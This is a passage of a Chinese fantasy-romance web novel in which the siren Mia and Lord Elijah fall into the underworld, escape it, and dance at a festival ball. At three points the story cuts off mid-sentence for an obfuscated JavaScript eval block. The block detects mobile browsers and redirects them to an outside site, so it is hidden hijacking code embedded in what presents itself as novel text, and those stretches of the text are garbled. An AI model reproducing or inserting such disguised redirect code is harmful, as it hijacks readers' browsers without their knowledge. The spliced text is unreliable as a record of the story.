“等我。”以利亚放开了她,也不知他是如何做到的,她停在了半空中。 以利亚低头看向岩浆,眼神一片冰寒,在这片奇怪的空间里,灰雾并不能很好地掩盖自身的踪迹,他知道他躲在岩浆之下。 灰雾第一次出现,是在十年前。 没有任何征兆的袭击,彼时以利亚尚未完全掌握自身的力量,他险些丧命。 后来,随着他愈发强大,灰雾逐渐不是他的对手,只敢在他虚弱之际现身,而且目标明确,哪怕当时有许多人,也只会攻击他。 以利亚记不清这个神秘的敌人因何而来,但既然敌人尚且懂得不殃及无辜的道理,他也不会将它看得太过重要。 可是米娅的出现打破了这一规律。 两次了,他不会再容忍下去。 而且他能感觉到,潜藏于此地的灰雾更加强大,力量也更纯粹,也许这里就是它的老巢。 杀意迸发,整座空间竟摇晃起来。 “我想起来了,米娅,我们联手,一定能在这里杀了他,而且在这里死亡,灵魂会直接消散,不会踏入冥者之国有往生的机会。” 带着恨意的声音在米娅耳畔响起,米娅的心漏跳一拍,抬头望去,以利亚没有反应,看来灰雾有办法令他听不见他的声音。 “我……” 眼前的男人用背影对着自己,不设防的姿态,正是她一直以来寻找的绝佳机会。 但是另一个人可信吗? 她犹豫了。 无声的战场上,片刻犹豫也能带来截然不同的结果,灰雾见劝她无果,恨铁不成钢地叹了口气,从岩浆中钻出来。 似一片浓重的乌云飘过天空,黑沉沉的,从四面八方包裹住了他们。 灰雾将一切都掩盖,米娅瞬间失去了以利亚的踪影,只能看见雾气中时隐时现如闪电一般的金色光芒,还有金属碰撞般的尖锐响声在耳边不断响起。 多亏了天生的敏锐,即使她现在只是个普通人类,仍能大概感知到他们的位置,以及那股强大的力量波动。 也不知是谁的功劳,她倒是完全不受影响。 空间摇晃加剧,岩浆高高溅起。 奇怪的响动从岩浆深处传来,像是膨胀的木头碎裂的声音,米娅仔细听了会儿,脸色变了,那是地面开裂的声音。 这片空间,似乎正在崩溃。 她该叫停吗? 还是说,她应该站在其中一边,赶紧结束这场战斗。 米娅想了想,做出了决定,背脊有些痒意传来,只需要一瞬间,她就可以恢复海妖的力量,他们的注意力都在对方身上,来不及作出反应。 “住手!” 突然的一声怒吼,止住了米娅的动作。 她循声望去,竟是一匹身披战甲的白色骏马,脚踏彩虹,从遥远的天边飞驰而来,骏马冲破黑暗,口吐人言:“再打下去,你们会毁了这里的!” 这一声震天撼地,空气都跟着抖三抖,可是缠斗中的两人哪里还听得进去,不仅没停手,甚至米娅感到了更强的力量波动。 咔擦一声,仿佛是为了回应白马的担忧,奇怪的空间以岩浆为中心,像掉在地上的玻璃瓶,碎成了无数片。 29. 抉择(四) 白马傻眼了。 空间碎裂的瞬间,碎片化作一道道流水,垂直向下倾洒而去。 米娅也傻眼了。 她又在下坠,和先前完全不同的速度, 那些水流最终汇入了一条暗红色的河流之中,米娅预感自己也会掉进这条河里,她闻到了河水散发出的浓烈血腥味,不妙的预感油然而生。 “米娅!” “米娅!” 两个焦急的声音几乎同时响起,一道身影似闪电一般向她冲了过来,背部有一股力量托起了她,她终于免于掉入河中的惨状。 会是谁? 米娅低头看去。 白色油亮的毛发,宽阔结实的背部,还有一双明亮清澈的大眼睛。 原来是那匹马。 咳咳,这就叫近水楼台先得月。 她刚落到马背上,眼前一闪,以利亚就出现在了身侧,捉住她的胳膊,将她从马背上拉下来,揽着她的腰落到河岸边的草地上。 野草和不知名的小花铺满河岸,萤火虫闪着微弱的光在其中穿梭而过,照亮河水中一双双苍白发青的手臂。 它们十指朝天,用力挥舞,仿若湍流中的水草。 饶是米娅胆子不小,也被吓了一跳,不由惊呼出声。 被声音吸引,手臂迅速靠拢过来,似乎要将他们也拖入水中。 白马发出长啸,震荡的声波将聚集的手臂打散,战甲反射出的光芒照射到手臂上,手臂冒出阵阵白烟,尖叫着沉入了河底。 白马满意地抖了抖鬃毛,落到以利亚和米娅身前,低下雄壮的头颅,压低身体,“两位,吾主命我送你们出去,请随我来。” 等了一会儿,身前的人没有动静,它疑惑地看过去,女人低着头,不知在想什么,男人的目光落在不远处,同样的河岸边,另一个狼狈的身影。 灰雾也和米娅一样,是从半空中坠落下来的,没有白马接住他,他重重摔在了地上。 以利亚当然不是为了欣赏他的狼狈才停留,他们都听得清清楚楚,刚才灰雾口中大叫着米娅的名字,似乎对她的安危格外关心。 米娅低头,也是为了遮住自己尴尬的表情。 “原来你们认识?” 以利亚松开米娅,似笑非笑地盯着她,表情耐人寻味,眼神却冰冷得可怕。 米娅赶紧摇头,“不认识。” 先是海妖,又是灰雾,以利亚岂会信她。 他走到白马旁边,摸了摸白马的鬃毛,“你的主人在哪儿,我要见他。” 白马主动把头迎上去蹭他的手,像是撒娇的猫,只是在听到他的要求后,享受的表情顿时变为为难,“吾主不希望被打扰。” 以利亚淡淡一笑:“我不是在跟你商量。” 白马呜咽了一声,垂头丧气地迈开步子为他引路。 米娅站在原地,看着他们越走越远。 灰雾从地上爬起来,来到她身边,愤恨地说:“你瞧,这才是真正的他,千万不要喜欢他。” 米娅没搭话,为了接近以利亚,她编造了那么多故事,说了那么多谎,没想到却因为这个莫名其妙的人功亏一篑,她很难不生气。 半晌,她瞪了灰雾一眼,“都怪你,你为什么要叫那一声?!” 灰雾很委屈,“因为我担心你啊。” 还好他现在还是雾气的状态,不然米娅实在没法想象那张惊鸿一瞥的脸做出委屈的表情。 环顾四周,陌生的环境中充斥着死亡的气息,“这究竟是什么地方?” “冥界。” 白马回头,另外两个身影已经彻底消失在了视野中,安静的原野上,只有波涛汹涌的冥河水流动的声音和猎猎风声。 “不等他们吗?”它小心翼翼地开口,语气中满含担忧。 对人类而言,冥界只存在于书本和神使的祷言中,活着的生物,哪怕是海妖和渡水者,一旦踏入冥界,也会失去所有的力量。 冥界也从来不是个安全的地方,因怨念而生的冥界生物与鬼魂一道,对生的气息趋之若鹜。 碎裂的空间是冥界中的特殊存在,能够抵御死亡的侵蚀,但他们已经掉入了真正的冥界,灰雾身份特殊倒还好说,对米娅放任不管的话,她会被冥界吞噬,化为冥界的一部分。 以利亚沉默不语。 白马想到刚才的对话,觉得有必要为那个美丽的女人辩解几句,“我觉得她没有说谎,您也知道,塞奇最擅长说谎了。” “塞奇?” 完蛋,说漏嘴了。 白马赶紧闭上嘴。 远处,米娅也正在重复这个名字。 自从说了这个地方就是冥界之后,灰雾就像打开了话匣子,喋喋不休地说个不停。 一会儿是冥界有多危险,一会儿是他可以保护她,顺带再说几句话以利亚的坏话。 拜他所赐,米娅知道了他的名字是塞奇,知道了冥界的规则,但一提到冥界之主,他就含糊其辞。 “反正不是什么好……人。” “以利亚为什么要见他?”米娅问。 塞奇心虚道:“我哪知道?” 米娅冷笑,“你说以利亚是你的敌人,你又是被冥界的主人关起来的,听起来,你们之间的纠葛很深,怎么会不知道?” 这回轮到塞奇不语了。 米娅懒得再理他,知道这是个什么地方之后,她该想想接下来该怎么办,值得庆幸的是自己的海妖身份看起来还没暴露,也不是没有挽回的余地。 她需要一个安静且安全的地方,河边显然不是——白马一走,那些手臂又蠢蠢欲动了。 她已经从塞奇的讲述中得知,死亡之后的人类魂魄进入冥界后,将经历多重考验,失败者将接受惩罚,成功者乘船前往河流的尽头,在那里转世重生。 偶尔会有意外发生,他们跌入河中,船却不会停下来,河水将他们禁锢,生的希望不再,就连彻底的消亡也成了奢侈。 于是怨恨渐生,他们伸出双臂,试图将每一个靠近河水的亡灵或是冥界生物都拉进河里。 装了这么久普通人,这下真成普通人了。 米娅双臂抱胸,自嘲地想。 冥界常年刮过阴冷的风,吹得她这个“普通人”鸡皮疙瘩都起来了。 奇怪的是,刚才她从空中坠落,就连塞奇都掉在了地上,以利亚却还能飞过来试图接住她,好像不受冥界的规则影响。 这是为什么? 难道塞奇说的是真的,他身上有天空之神伊瑟尔的部分神力,已经不算是人类了? 神不受冥界规则的制约? 可是两百年前的劫难已经证明了,神也会死亡。 米娅向着以利亚离去的方向走去。 头一次,她对自己的计划产生了怀疑。 从前她固然知道以利亚强大不可匹敌,但那到底还是属于人类的范畴,一旦涉及神明,变数就大了起来。 愈走,风愈大。 目之所及,早已失去了一人一马的踪影。 或许她正沿着一条错误的道路前进,但她也顾不上了。 塞奇赶上来,“我知道怎么出去,你跟我走吧。” 米娅冷冷地看了他一眼,“他们会轻易放你离开吗?” 而且,她现在要做的,也不是离开。 平野上散落着一些巨大的岩石,米娅每走一段路,就会停下来,躲在岩石后休息一会儿,然后继续前进。 她也不知道自己走了多久,冥界没有白天,也没有黑夜,更没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15926797|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满天星辰指明方向,时间和空间变得模糊不清。 偶尔,会有奇形怪状的冥界生物从身侧掠过,它们会短暂地停留,用好奇又垂涎的目光打量她一番,然后遗憾地离开。 那是塞奇的功劳,他一直不远不近地跟着她,这些生物显然有些怕他。 再一次停下来休息时,米娅居然睡着了。 梦中的她也行走在同样的原野上,动作缓慢,漫无目的,同样的奇怪生物在她身边虎视眈眈,贪婪渴求的视线像一张张血盆大口,恨不得将她立刻吞入腹中。 其中一只长着鱼头的怪物偷偷咬了一口她的脚踝,她却感觉不到痛,也没有任何反应。 怪物们仿佛得到了某种信号,犹豫一扫而空,向她扑了过来。 白光闪过,怪物燃烧成灰。 是谁紧紧地抱住了她,高大的身躯如此温暖。 她抬起头,男人的眉眼间满是失而复得的喜悦。 米娅就在这一刻惊醒。 雾气凝成的人形弯腰俯身盯着她,米娅想到了梦中的景象,不由地说:“我梦见了你。” 塞奇高兴道:“我就知道,你一定会想起来我们曾经幸福的时光,你梦到了什么?” 米娅有些恍惚,一边讲述梦中的场景,一边想,她的梦都有特殊的含义,绝不仅仅是触景生情,难道他说的是真的? 他们前世是夫妻? 可是为什么一想到这种可能性,她就觉得蛮身心地抗拒呢。 莫非他们是一对怨偶? 米娅说完才发现,塞奇陷入了沉默,这不像他的作风,他该在此时大肆宣扬一番他们曾经有多相爱,他们在这里经历了多么感人的故事才对。 但他最后只是干笑,“原来是这件事,我有点儿记不清了,你知道的,我们是夫妻,一起经历了太多事情。” “原来你那个失踪的丈夫是他。” 米娅还没反应,另一个声音在岩石背后响了起来。 米娅一下子站了起来,注视着从岩石后走出来的身影,如同他们第一次见面那样。 尊贵冷漠的男人像高山上化不开的雪,俯视着狼狈的她,他的视线落在她的身上,冰冷无情,她的美艳动人在他眼中毫无特别。 一夕之间,这些日子的纠葛都成了假象。 “不是。”米娅摇头,没有解释的否认苍白无力。 别说以利亚了,她自己也说服不了自己,她回头,瞪了一眼塞奇,眼神暗示他,“你倒是说话啊。” 不过她忘了,塞奇对现在的场面求之不得,否认或者解释根本不在他的选择范围内,他走过来,雾气环绕住米娅的肩膀,就像揽住了她。 他对以利亚说:“既然知道,那就离她远一点儿。” 以利亚静静看着他们,灰雾的挑衅固然恼人,更令他不爽的是,两人靠在一起的画面自然亲密,仿佛天经地义。 他垂下眼,盖住眼底的戾气,如果不是和冥界之主有约,也许他还会忍不住对灰雾出手。 这个女人不仅能使他感受到久违的心跳,而且还能勾起他心底的戾气,继续纠缠下去,实在不是明智的决定。 以利亚转身就走。 不能让他就这么走了。 米娅心头一颤,她有强烈的预感,他这一走,恐怕他们再也扯不上任何瓜葛了。 她的计划刚实施了一半,奥修斯岛上还有那么多海妖期待着她的成功,她还…… 米娅心乱如麻,身体先于理智做出了决定,她推开灰雾,冲过去,拽住了他的胳膊。 以利亚脚步一顿,轻甩手臂,那双手紧紧地拉着他,一点儿也不肯放松,他又不能用劲伤了她,只好低头皱眉觑她,“放开。” 米娅刚想摇头,突然感到一阵头晕目眩。 30. 抉择(五) 火光闪烁,照亮脸颊。 米娅苏醒过来,除了面前一簇无根之火外,景色别无变化,依然是那片荒寂阴沉的原野,依然是那块崎岖不平的巨石。 头有些疼,像针刺一样。 她怔怔地盯着火苗看了一会儿,才想起来,昏迷之前,以利亚要走,她阻止了他。 然后自己忽然失去了意识。 眼前空无一人,别说以利亚了,就连塞奇也不见了。 他走了吗? 米娅蜷缩起来,双臂紧紧抱着小腿,火焰源源不断地传来温度,却驱不散冥界的阴寒。 她感到前所未有的虚弱,想到塞奇的话,知道这是这方天地在排斥她,再待下去,她也会落得和河水中的残魂一样的下场,这才挣扎着站起来。 她不能死在这里。 米娅打定了主意要离开,一抬头,却看见巨石顶端站着个人,银发随风而动,背影孤寂。 原来他没走。 她不觉笑了一下,巨石上的人听到下面的动静,向她看过来,棕色的眼眸中仿佛蕴藏着什么,掌心拿着一样东西。 灰色的,几乎与阴沉的景色融为一体。 以利亚跳下巨石,落到她面前。 米娅发现那是一根灰色的羽毛,和海妖的羽毛很像,但要比海妖的羽毛小很多,根部藏在以利亚袖中,看不清楚。 她没有感觉到海妖的气息,要么这根羽毛已经脱落多年了,要么就不属于海妖。 不管是哪种可能性,都不是她现在应该关注的重点,米娅将视线从羽毛上挪开。 两人相对无言,她抿了抿嘴唇,“他呢?” 话一出口就后悔了 她本意是想问塞奇去了哪里,她还等着他澄清他们的关系呢,但这话听着却不太对。 果然,以利亚嘲讽道:“一醒来就问他,还说你们不是夫妻。” 在这个问题上,先是跟塞奇一顿辩驳,又跟他一顿辩驳,米娅实在感到心力交瘁,连否认的话都懒得说了。 以利亚只将她的沉默视作默认,不欲再理会,又见她苍白的脸,比月前在监狱中还虚弱,终是不忍心。 “他没有生命危险,只是被冥界之主重新关起来了,你若想见他,我也没办法。” 塞奇一出现就坏了她诸多谋划,又扔给她一堆不知真假的消息,米娅巴不得他滚的远远的,哪还乐意见他,闻言眉间染上了几份喜悦来。 她终于能将昏迷前未说出的话一一道明,“我才不想见他,是他突然冒出来说什么我是他的妻子,我根本就不认识他。” 这简直是她对着以利亚说过的最真心实意的话了。 以利亚看她一眼,没说话。 他到底信没信,她也分不清,这人的心思太深,她早断了看清他的念头。 她想,与其说半天,不如实际行动。 她举起无力的双手,放在他的衣领上,拽了拽,以利亚纹丝不动。 她真是一点儿力气都没了,任人宰割的感觉真不好受,她有些难过,这时,以利亚却握住了她的手,俯下身,面对面瞧着她。 “你想做什么?” 米娅失语,更亲密的事情也不是没有做过,他何必多此一问,便虚弱地笑:“就算他跟我有什么关系,领主大人难道还害怕我们吗?” 拥有如此强大的力量,他一定是自负的。 自信一切尽在掌握。 男人凝视着她,似乎想从她的脸上看出什么,米娅无惧也无畏,回望着他。 他们呼吸纠缠,眸中倒映着对方的身影。 他们靠的越来越近,甚至能感受到对方额头的温度,直到—— 白马从石头后面探出个脑袋,好奇地看着他们。 什么氛围,什么暧昧,瞬间被破坏殆尽。 被这么一双无辜的大眼睛盯着,她就是想做什么,也没这么厚脸皮。 她还拽着以利亚的衣领,因两人离得很近,便改拽为虚握,看起来倒像是将手掌贴在他胸口。 看到白马,她顺势将脸也贴了上去,脸颊微红,难得出现了一抹羞涩,她小声问:“它什么时候来的?” 该不会将他们的对话都听见了吧? 以利亚还没答,白马已经非常没有眼力见地开口了,“我跟以……以利亚大人一起过来的。” 米娅脸一黑,原来不仅是她和以利亚的对话,连她和塞奇的对话它也听见了。 白马理解不了米娅复杂的心情,献宝似的又说:“您昏迷的时候,我跟以利亚大人解释过啦,塞奇那些话都是乱说的,他和您才不是夫妻呢。” 米娅低声说了句“谢谢”,说完又觉得不对,她自己都不确定,他怎么能确定? “你对塞奇很熟悉吗?他真的是混沌凶兽?他为什么说我是他的妻子?” 马脸露出个为难的表情,“您问的这些,吾主都不让说呢。” 又是冥界之主不让。 可惜她在这里就是个没有力量的普通人,不然她也要像以利亚那样,用暴力让它回答自己。 “行了。”以利亚掰过她的脸。 米娅有些不爽,转头在他手腕上咬了一口。 跟咬在冰块上似的,硌牙。 “属狗的?” 她只是突然想到,既然白马都解释过了,那他刚才还嘲讽她? 她抬起头,想说什么,熟悉的头晕目眩又来了,放在男人胸口的手慢慢垂下去,又被他捉住。 “以利亚大人,不能再拖下去了。”白马在一旁急急地道。 以利亚将米娅抱起来,坐上马背。 白马嘶鸣一声,前蹄用力一蹬,腾空而起,彩虹在它脚下作梯,一步一步带着他们向遥远的天边跃去。 “我们这是去哪儿?”米娅轻声问。 也不知道是以利亚做了什么,还是她习惯了这晕眩,她没再昏过去,还有力气扭头看着曾驻足过的原野越来越小。 河流化作一条丝带,巨石也成了草地上的石子。 “出去。” 以利亚低沉的声音就在她的耳侧,他坐在她背后,双臂环绕着她,她没什么力气,连挺直背脊都很艰难,软软地靠着他,仿佛将整个人都嵌进了他怀里。 米娅有些恍惚,一丝不安爬上了心头,他们现在的动作竟比两人最亲密的时刻还要难捱。 心头仿佛有蝴蝶在乱飞,搅得人心烦意乱,但她却不敢去探究缘由。 “闭眼。”以利亚又说。 米娅下意识听从,刚刚闭上眼睛,他的手掌也覆了上来,冰凉的掌心贴在她眼睛上,奇迹般地将眩晕和烦乱都压了下去。 眼前白光闪过,阴寒的气息如退潮般散去。 他们落到了地面上,真正的地面。 天空阴沉,还下着雨,湿滑的地面像镜子一样,倒映出模糊的影子,是现世的景象。 晕眩的感觉彻底消失,力量重新回到四肢,米娅喜悦地扬起了眉,什么话都没来得及说,一个错眼,周围的景色又是一变。 以利亚抱着她回到了她的卧房之中。 “米娅夫人?”卧房深处传来疑惑的声音,满目慈祥的老妇人掀开帘子走出来,见到两人,不由惊呼,“啊,领主大人?!” 以利亚记得她,常为赛欧庄园服务的裁缝,他略点了点头,将米娅放下。 老妇人察言观色,低着头向门口走去。 米娅叫住老妇人,“等等。” 她想起来了,是她约的老妇人在她房中相见,时间正是尤妮被皇家舰船押走后不久,看起来,他们虽然在冥界中待了一段时间,外面的时间却走得很慢。 她也差点儿忘了,她和以利亚因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没有控诉的话语,却更让人心烦意乱。 以利亚视线扫过她失落的眼神和紧抿的双唇,心里竟也涌起了一阵失落。 就像失去了翅膀的飞鸟坠入深谷之中,一颗跳动的心不断下坠,即将失去那跳动的生命力。 指尖一松,轻飘飘的画纸落到地上,未发出一点儿声音,等了很久他都一言不发,米娅像是失望极了,转身准备离开。 就在这时,男人的手臂环在了她的腰间,轻柔的吻裹着湿热的气息落在了她的肩上。 笑意从米娅眼中一闪而过。 她赢了。 但她嘴上还是低落地说着:“领主大人这是什么意思,请您说清楚,我不愿再因为您的若即若离而伤神。” “我在道歉。” 他输了。 “只是这样么,一点儿诚意都没有。”米娅小声嘟囔。 得寸进尺是她的强项。 “你想要什么?” “我想知道我是什么身份。” “和我在一起,虽然只是以情人的身份,但我早已立誓终生不会结婚,也没有别的情人,你就等同于这座岛的女主人。” 说实话,听到这几句话,米娅真的有点儿感动了,虽然只有一点点,可是因为听得出来他说的是真话,她亦受到了震撼。 原来这个冷漠无情的人类,还有真情流露的时刻。 可是她闭上眼睛,眼前闪过一片血红,是曾经的那个海妖少年伤口冒出的血。 她怎么能心软呢。 “真的吗?我要住进赫特高塔,只有住进了那里,其他人才会真正将我视作女主人。” 用任性掩盖真实意图,男人没有怀疑。 “好。” 31. 抉择(六) 风灵节如期而至。 普通人家为节日而做的准备早在风灵节前几天就开始了,在门口挂上晒干的稻谷,用特殊的工艺酿制米酒,这些是从大陆时代遗留下来的习俗,那时的丰收与谷物相关。 在家中砌起祭坛供奉海神,腌制美味的鱼干赠送给邻居和宴请客人,这是群岛时代额外增添的习俗,这时的丰收与渔获相关。 风灵节当天,节日的气氛到了顶端,赫尔西岛上各处都飘满了酒香,街上游玩的人群摩肩接踵,城中的酒馆也早早地开了门,售卖为风灵节特制的美酒。 风灵节最热闹的还是晚上,除了赛欧庄园之中会举行宴会之外,岛上的居民也会自发举行篝火晚宴。 晌午刚过,日光正盛。 虽然离最热闹的夜晚还有些时候,赫尔西岛最大的酒馆之中却已经挤满了人。 金发的女侍者在人群之中穿梭,灵巧地躲过几只不安分的手,来到安静的角落里。 “莱森大人,您的酒来了。” 黑色短发青年坐在角落的长椅上,面前摆满了空掉的酒壶,清澈的眼神随着一壶壶酒下肚,逐渐变得恍惚起来。 “一个人喝多没意思,大人需不需要我陪您……啊!” 女侍者刚在他身边坐下,还没来得及搔首弄姿,一柄黑色的重剑就横在了两人之间,剑身漆黑阴沉,闪着摄人的冷光,将她吓得花容失色。 “滚开。” 黑骑士休伊不知何时来到了这里,那身魁梧的盔甲足以令每一个见到他的人退避三舍,厚重的带着金属质感的声音就像魔鬼的低语。 女侍者白着脸跑了,本就安静的角落这下更没人来,在安静之外又多了几分冷肃。 莱森抬头看了眼面前高大的黑影,没有理会,自顾自地将刚端过来的酒一饮而尽。 黑骑士的头盔里发出了一声奇怪的声响,也许是叹气,但经由钢铁的阻隔而透露出来,也分不清了。 他也不跟他废话,一把揪起他的衣领,就像抓起一只小鸡一样轻松,然后不顾他的奋力挣扎,众目睽睽之下将他拎了出去,甩到酒馆后门无人的巷子里。 然后向后挥出一剑,磅礴剑气在酒馆后门上留下一道整齐的凹痕,又穿过门缝,将跟过来的酒鬼们震翻在地。 人群吓得四散逃走,没了看热闹的人,黑骑士终于有时间好好料理自己面前这个酒鬼了。 他一点儿都没留手,莱森被狠狠摔在地上,震得骨头都要散架了,这么狠狠一晃,本来就不太清醒的脑子更迷糊了,看着眼前的黑影,大着舌头说:“你……你是来……抓我回去的吗?” 黑骑士休伊用剑将他拨到一边,没有起伏的语调中莫名让人听出了几分恨铁不成钢,“就为了个女人,你至于吗?” 这话好像不是第一次听到了,莱森迷迷糊糊地想,乌斯也对他说过,卡伦也对他说过,他们简直就是站着说话不腰疼,现在又来个黑骑士休伊,怒火一下从心底涌出,连说话都变利索了。 “什么叫就为了个女人,你们……知道什么……” 说着说着,他竟然呜咽起来。 黑骑士吓了一跳,蹲下来看着莱森皱到一处的脸。 “我的确不懂。”黑骑士的声音中竟出现了一丝怅然,像是在说休伊,又像是在说另一个人,“明明活着已经很不容易了,为什么还要将为数不多的生命浪费在……算了,跟你说也没用,你什么都不知道。” 什么都不知道的莱森也完全没听进去他的话,他沉浸在自己的悲伤之中,“呜呜呜……为什么他要抢走她,为什么又是他……” 恨意隐藏在悲伤之下。 黑骑士忽然站了起来,走进酒馆之中,在众人的注目下提了一桶冷水过来,冲着他的头浇了下去。 好一个透心凉,莱森大叫一声跳起来,抹去脸上的水珠,眉头一皱,下意识就要发火,这时他的酒也醒了一半,终于意识到什么,硬生生压制住了怒气,冷脸看着黑骑士。 “你恨他吗?” 黑骑士也看着他,明明看不见表情,莱森却仿佛能感觉到他的严肃。 恨吗? 在外面,他对以利亚的态度一直是恭敬甚至恐惧的,唯独没有流露出过恨意。 可是,在他的内心深处,他始终记得,另一个人—— 莱森想,酒精果然能麻痹一个人的神经,面对黑骑士这个以利亚的心腹,他竟然鬼使神差说出了心底的话,“我当然恨他。” “既然恨他,你现在在做什么?” 意料之外的反应,莱森愣了一下,黑骑士又说:“只会买醉,完全就是懦夫的行为。” “你……”莱森怔住,怒气忽然遏制不住,直往上涌。 还用他说吗,自己就是个贪生怕死的懦夫,面对仇人还能虚与委蛇,这么多年以来,他从来没有一刻原谅过自己。 莱森忍不住笑了起来,笑声凄凉。 好不容易有了一个喜欢的人,没想到,喜欢的人又被自己的仇人抢走,而他依旧无能为力。 他甚至没有办法反驳。 莱森抬起头,黑骑士一动不动站在他面前,看不到眼睛,却能感觉到他鄙夷的眼神,“你就这么放弃了,如果我是你,至少我还会再努力一次。” 说完这话,黑骑士就像来时一样悄无声息又走了,他走得太快,莱森根本追不上,只能茫然地看着他离去的高大背影,脸色阴晴不定。 他这话是什么意思? 经历了这么一遭,酒馆是待不下去了,莱森收拾了一下身上,回了庄园,刚一进门,就遇到了一个他在此刻绝对不想见到的人。 “莱森,你怎么了?” 美艳的脸上是惊讶的表情,莱森低头看了一眼,头发上和衣服上的水还没有干,自己看起来就像是个落汤鸡,他一下子脸红了,只是这次不是因为害羞,而是窘迫。 偏偏让她看到了自己难堪的一面。 深蓝色的眼眸只看了他一眼,触及那突然红起来的脸庞,善解人意地移开了目光,“你快回去换身衣裳吧,小心别生病了。” 婀娜的身姿转身便要离开,为他留足了面子。 莱森眼一热,黑骑士的话语突兀地出现在耳边,没错,他就是个懦夫,都这个时候了,还在考虑自己的面子,他还要忍到什么时候去? “米娅,等等。” *** 夜幕悄然降临,天公作美,这夜无风也无雨。 星子似流砂铺陈在天空中,闪烁明灭,充满浪漫气息。 城外的篝火燃起之时,赛欧庄园之内的舞会也刚刚开始。 一辆辆豪华马车将庄园门口的道路堵了个水泄不通,身着华丽礼服的男人女人们自马车上走下来,各个仪态优雅。 米娅站在客房的窗前,居高临下望着一张张妆容精致的脸上雷同的隐含高傲的和煦笑容。 女仆走到她的身后,低声说:“米娅夫人,礼服已经准备好了。” 她微笑着转身,看向女仆手中捧着的礼服,“请帮我换上吧,时间要来不及了。” 举办舞会的场所在古堡的一楼,巨大的圆形穹顶垂下万条丝绦,璀璨的钻石布满舞池的每一个角落,盛大而华丽,比之皇室的舞会亦不遑多让。 乌斯端着酒杯,深红色的葡萄酒在透明的高脚杯中轻轻荡漾,似海浪翻涌。 即使是在如此盛大的舞会上,他仍然穿着那身神官衣袍,在一片华丽的礼服中独树一帜,只是手中不再拿书。 卡伦好奇地询问,他是如此说的:“毕竟,拿本书参加舞会,也太扎眼了不是。” 乐团演奏起轻快明朗的音乐,音符仿佛都化为了实体,在金碧辉煌的大厅中飘扬,穿梭于衣香鬓影之中。 舞会还未正式开始,红衣神官瞧了眼舞池的前方,深蓝色的绸缎装饰在墙壁上,层层叠叠,端庄典雅,金色的壁灯闪着耀眼的光芒,映照着头顶酒红色的幕布。 其下一把金边包裹蓝色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15934813|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝绒为芯的椅子,椅背是棱角分明的条形,最上方呈尖塔的形状,尖塔中央圆形的赫尔西家族族徽栩栩如生。 那是以利亚·赫尔西的位置。 “莱森大人还没有到吗?”乌斯只看了一眼就收回目光,他又环顾四周,却没找到另一个熟悉的面孔。 “下午我见到了莱森大人,看他的样子,大概是不会参加这场舞会了。” 红衣神官微微叹息,以利亚和米娅的事情已经不是秘密,原本不打算出席的领主大人忽然改了主意,原因似乎昭然若揭。 他此时出现,不过是徒增伤心罢了。 时钟发出悦耳的鸣响,舞会开始的时间到了。 周围安静下来,不知是谁说了一句“领主大人到了”,一双双眼睛齐齐望向大门的方向,人群自动站到两边,为姗姗来迟的主人让出道路。 古朴庄严的大门之前,修长挺拔的身影自门外的黑暗而入,淡淡的月光照在他的银发上,似星河流淌,不过一瞬,又被大厅内耀眼的灯火包围。 赫尔西岛的领主终于出现,一身深蓝色的礼服精致优雅,一向冷漠的神情似乎也被这热闹的气氛染上了温柔。 他本就有一张得天独厚的俊美脸庞,不知是岛上多少少女的梦中情人,只是平素太过冷淡,以至于无人敢有非分之想。 然而今夜的他似乎有哪里不一样,柔和而精致的眉眼在暖色的光晕中熠熠生辉,嘴角也扬起了一抹似有若的微笑。 那些刻意拉远的距离,在这笑容中消融,一时间众多伴着惊艳热情的大胆视线瞥了过来,直到他抬起右手。 夜色之中,纤秀如玉的手掌轻轻搭在了他的手心,似乎比那白色的手套还要白,另一个身影,也从阴影中走了出来。 蔚蓝色的礼服长裙,是大海的颜色,也是天空的颜色。 如水顺滑的丝绸紧紧地贴合在曼妙的身姿上,勾勒出优美动人的曲线,没有诸如蕾丝一类累赘的装饰,只有闪着光的丝线在其中穿梭,绣出羽翼的图案。 黑色微卷的长发散落在肩头胸前以及后背,一切都是那么的随意,却恰到好处。 一瞬间,人们又想起了港口那只海妖,尤其是那双蔚蓝的眸子,神秘莫测,引人恐惧的同时,却是如此的诱人。 而身着这身长裙的人,却有一张比海妖还美的脸,妖娆妩媚,倾倒众生。 呼吸仿佛都在此刻停止,人们呆呆地望着两人,在他们面前,仿佛月华的光芒也变得微不足道,周遭一切华丽的事物都失去了黯然失色。 突然响起乐声将沉寂打破,舞会开始了,但是没有人动,第一支舞,自然该由主人开始。 以利亚执着米娅的手,他们一起走到了舞池中央,在巨大的水晶灯下,她的裙摆闪烁着夺目的光芒,比钻石还要耀眼。 他们随着乐声起舞,裙摆在空中飞扬,就像那永远流动的海水,每一次转动,人们似乎都能听到海妖的低吟。 那么诱人,只愿永远沉沦其中。 一曲完毕,以利亚执起米娅的手,温柔的吻落在她的手背上。 